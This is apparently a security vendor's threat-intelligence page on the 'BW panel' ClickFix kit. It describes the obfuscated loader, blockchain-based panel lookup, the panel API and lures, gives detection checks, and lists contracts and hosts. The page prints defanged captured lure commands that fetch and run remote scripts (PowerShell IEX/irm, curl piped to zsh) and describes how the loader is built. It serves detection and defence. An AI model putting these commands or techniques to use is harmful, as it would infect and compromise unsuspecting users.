Web threats / ClickFix

BW panel ClickFix kit

BW panel is a ClickFix kit that finds its control panel through Polygon contracts and lets the panel choose one of nine lures for each visitor. We have matched it on 3,265 sites since 2 August.

BW panel in numbers

Since 2 August, the first BW panel match in our records, counted on 12 November 2026. How we count.

Sites with BW panel code3,265
Sites with a match in the last 30 days1,357
New sites in October596
Still serving it when recaptured at least 25 days later1,227 of 1,842 sites (67%)
Sites running WordPress (captured since 25 September)93%

Where it hides

BW panel's loader is a short wrapper in the page head: Base64, a single-byte XOR and new Function. The XOR key changes with every build, but the loader underneath keeps the same code and markers.

On one site it arrived through Cloudflare Zaraz: a malicious Pageview action served it from the site's own /cdn-cgi/zaraz/s.js path, so it looked like part of the site. Another researcher found the same loader added to pages by a malicious Cloudflare Worker. On other sites it is a full-screen div with an iframe written straight into the HTML. A planted WordPress plugin loads it too: a folder named script-[hex]-[hex] in wp-content/plugins/ whose assets/css.js the plugin adds to every page under a handle starting h_.

Researchers and abuse reports file this activity under ErrTraffic.

Finding the panel

The loader sends a read-only eth_call to a Polygon contract and gets back the panel's address. The main loader uses the selector 0xb68d1809 across rotating contracts. A separate overlay layer reads 0x08207B087F61d7e95E441E15fd6d40BEfd6eD308 with the selector 0x38bcdc1c. Each loader spreads its requests across as many as thirteen public RPC services.

Talking to the panel

Once it has the address, the loader asks the panel for its settings at /api/index.php?a=cfg. Requests are RC4-encrypted: the q= parameter carries an 8-byte nonce and the ciphertext, keyed by a fixed API key plus that nonce. Replies come back encrypted with RC4 (enc=q2) or AES-GCM (enc=gcm1). Other actions report events (a=evt), downloads (a=dl) and fetch a lure module (a=js&mode=).

The panel decides what each visitor sees, and one browser key stops it repeating itself: a visitor with site_repair_state in local storage never sees the lure again.

Nine lures

Mode File
browser v1.js
font v2.js
recaptcha v3.js
bsod v4.js
silent v5.js
cloudflare v6.js
cf_update v7.js
mac_recaptcha v8.js
mac_cloudflare v9.js

The loader runs the chosen module through a function called __BW_MODE_RUN__. The Cloudflare module fetches a command, copies it, reports whether the copy worked (clip_ok or clip_fail) and keeps polling the panel. The overlay is a full-screen iframe with clipboard access. When the visitor finishes, the page posts cf-captcha-verified and sets a _cf_verified cookie for 90 days.

The commands are PowerShell. A lure first seen on 11 October fingerprints Windows visitors, sends encrypted telemetry and then hands out an irm command with steps for pasting into Terminal.

What we see

MonthNew sites
September1,856
October596
November so far48

Of the 1,842 sites recaptured at least 25 days after their first match, 1,227 were still serving BW panel (67%). 93% of BW panel sites captured since 25 September run WordPress.

Checking a site

Look in the page source for:

  • a script that decodes Base64, XORs it with a number and runs it with new Function
  • references to __BW_MODE_RUN__ or files named v1.js to v9.js from a host you do not recognise
  • a full-screen div with an id like _tds_o holding an iframe
  • a script from wp-content/plugins/script-[hex]-[hex]/assets/css.js, a plugin you did not install

In the browser, look for a site_repair_state or bw-downloaded entry in local storage, or a _cf_verified cookie your site never set. In Cloudflare, check for Zaraz actions or Workers that nobody on your team created.

Contracts we read

We read 40 BW panel contracts every day.

ChainContractCurrent destinationsLast changed
Polygon0x08207B087F61d7e95E441E15fd6d40BEfd6eD308sky[.]dolcefantasia[.]us
Polygon0x17fb7ea087abd93cd97b5a016b99aad2fb3af1a6vaer-cdn-3[.]sbs
Polygon0x1b6cfd93ffc6ea17488a025980565f977f084db7chekbrow[.]beer
Polygon0x224579e572ceec5309a7d9f5faf85dea5dbb7d4antsnsdns[.]beer
Polygon0x347280da8ba0c344a77a766d2bc163cfa1f571cdbootstrup-framework-js[.]beer
Polygon0x374854889e9a51d001da4387667b8546f079befbghdnsserverns[.]beer
Polygon0x3801f0f5a2ac32bb02e8097200860aa38af9d240sr-hostes-js[.]beer
Polygon0x3f120fa3b0796643e760cab2c730c5a6a119319cistile-c-cloud[.]beer
Polygon0x4694a69e6f34251d0e2e5e6b0a85aeba2cf6090fmikelle[.]beer
Polygon0x4af8048EdfE4523953E9907528BF5Cef7Fa8db09ruby[.]gady-gady[.]com, sun[.]gady-gady[.]com, teal[.]gady-gady[.]com
Polygon0x4de37b7be1bfb8a74acd8af57a2c10c5b1a14bb3cdn-speed[.]beer
Polygon0x53ffb04ef13bc4cb12ce8ac7b9532c254338dc3eclacndjsvulnarbi[.]beer
Polygon0x576e26789220bb4dbbec1f7bf6b794abeda884dcbootstrap-maxcdn[.]beer
Polygon0x5bc777d1dd5304d51ac41d682c87360dfdab4428travel-js-ns[.]beer
Polygon0x5f3347efc3fa4280c1da08a4ca2483856f5e6a35snccdn-framework[.]beer
Polygon0x678028f4af9422cea3484f334ee96a570588cb3fbkscndclou[.]beer
Polygon0x6c4beca447067d6452029888afd56417293f6a1fletsgomakemoneyoncaptcha[.]beer
Polygon0x6c6cadf48bda2b3dc60e96cad36f23110190e477cdn-server-styles[.]click
Polygon0x786961bacf6eb767277695cd1ac75c76d3d66dc7nsservclod[.]beer
Polygon0x8f2f173df08a5531dd5b92753cfbae422e04ada0cdn-speed[.]beer
Polygon0x9034d100d07b1238d26f786dbc63831e3a2b410emacerapindasi[.]com
Polygon0x9130ec7e8b20646ad30e1386d1b45cd26eb0e07bframesavecloudjs[.]beer
Polygon0x926d64543148db649c4f877fe7ba4c693e01e288ns-claude-js[.]beer
Polygon0x950e8fc151d8d910e8a01132307e6bcd03405a84hahletsgoagain[.]beer
Polygon0x994cb8274721e5d6daa4fe3febf80cf9237a9ae8smtnscerver[.]beer
Polygon0x9cbd8e55cdd98fbebd7cb2cb06342718f8df40eemstclaudens[.]beer
Polygon0x9de78c82db772b02468838dc014fffb97d8d7e9bsiteamnsserv[.]beer
Polygon0xa5a33cf0e35d5005fcbe0026c906403f3cc862b0sdnssmdf-js[.]beer
Polygon0xaaf212ac53c22ad807c0b35afe44fc698b4bb529js-server[.]beer
Polygon0xb36482fe794b895695914779db3909b471d1aa43cloud-safe[.]click
Polygon0xc0d1f4df86e08dd4ad0cdd0085e7dc660ab21c63cdn-speed[.]beer
Polygon0xc5a4bc312f0226beec569de05e0cf2c12d3ce930ssns-cdn-ns[.]beer
Polygon0xc8375ed5d301691821e3211052bf8236a6534802web-security[.]beer
Polygon0xcb9c910b54d2798a442f2f76899fa66655811738trunnsns[.]beer
Polygon0xdb93ce45da3d013b2be1525375d5f548ca82b29alskannsserv[.]beer
Polygon0xdc2ce8f48c71632c334ca7cc2e8e3c162fe0b391istounscnnd[.]beer
Polygon0xdf2e2e7d02d15e67219ebad1cb78e24e738e7d5abigsmart[.]beer
Polygon0xe96269edaba4c10dd1b82dd287cf5ee1c47483eaframework-jsoncdn[.]beer
Polygon0xeb8a63ef6fca91714715e09f69974a9f558ee3ccns-server-jscdn[.]beer
Polygon0xf50c07986e9a9d96743aac66f4da8788d3f32eccbigflopenergy[.]com

The EtherHiding contract tracker keeps the full destination history.

Hosts its commands download from

BW panel lure commands we captured download from 11 hosts. These are the 10 on the most sites.

HostSitesLast seenLatest command
wall[.]casajuanchos[.]com300
Decoded URL

URL hxxps://wall[.]casajuanchos[.]com/s

First seen 2 October 2026, 2 URLs on this host.

dog[.]caspers66[.]com140
Command
iex((iwr 'hxxps://dog[.]caspers66[.]com/pidor.ps1' -UseBasicParsing).Content)

URL hxxps://dog[.]caspers66[.]com/pidor.ps1

First seen 27 September 2026, 1 URL on this host.

red[.]chuseatery[.]com91
Command
IEX((New-Object Net.WebClient).DownloadString('hxxps://red[.]chuseatery[.]com/pidor.ps1'))

URL hxxps://red[.]chuseatery[.]com/pidor.ps1

First seen 12 October 2026, 1 URL on this host.

lens80[.]com8
Command
curl -s $(echo "[base64 of: hxxps://lens80[.]com/curl/jcpqtd6mc/luwhovem7whnfhext2tspeyi.json]" | openssl base64 -d -A) | zsh

URL hxxps://lens80[.]com/curl/jcpqtd6mc/luwhovem7whnfhext2tspeyi.json

First seen 5 October 2026, 1 URL on this host.

moss[.]coffeecommongrounds[.]com6
Command
IEX((New-Object Net.WebClient).DownloadString('hxxps://moss[.]coffeecommongrounds[.]com/pidor.ps1')) # ------------------------ PRESS  ENTER TO VERIFY ------------------------

URL hxxps://moss[.]coffeecommongrounds[.]com/pidor.ps1

First seen 15 October 2026, 1 URL on this host.

coral79[.]com5
Command
curl -s $(echo "[base64 of: hxxps://coral79[.]com/curl/qgxizgwbqv/8hicwyf19i21eeck4s.json]" | openssl base64 -d -A) | zsh ; curl -fsS 'hxxps://cleanavcheskre[.]com/x/proliv2929' >/dev/null

URL hxxps://coral79[.]com/curl/qgxizgwbqv/8hicwyf19i21eeck4s.json

First seen 29 September 2026, 1 URL on this host.

lion[.]elfrias[.]com4
Command
IEX((New-Object Net.WebClient).DownloadString('hxxps://lion[.]elfrias[.]com/pidor.ps1')) # ------------------------ PRESS  ENTER TO VERIFY ------------------------

URL hxxps://lion[.]elfrias[.]com/pidor.ps1

First seen 14 October 2026, 1 URL on this host.

gog-current-cupkey[.]com3
Command
irm gog-current-cupkey[.]com/ad591ed9-6679-4660-b659-20116a7f7d70 | iex

URL hxxp://gog-current-cupkey[.]com/ad591ed9-6679-4660-b659-20116a7f7d70

First seen 26 September 2026, 1 URL on this host.

blaze-venture[.]com2
Command
curl -s $(echo "[base64 of: hxxps://blaze-venture[.]com/curl/ayuo6yhzwj/rxocex4v0udw2traopv7jtdt.json]" | openssl base64 -d -A) | zsh

URL hxxps://blaze-venture[.]com/curl/ayuo6yhzwj/rxocex4v0udw2traopv7jtdt.json

First seen 2 October 2026, 1 URL on this host.

love[.]district7pho[.]com2
Command
IEX((New-Object Net.WebClient).DownloadString('hxxps://love[.]district7pho[.]com/pidor.ps1')) # ------------------------ PRESS  ENTER TO VERIFY -----------------------

URL hxxps://love[.]district7pho[.]com/pidor.ps1

First seen 18 October 2026, 1 URL on this host.

The ClickFix command tracker lists every host.

Try the feed for 14 days.

Request a trial and we'll send you a live API key, with the same feed, removals and reasons a customer gets.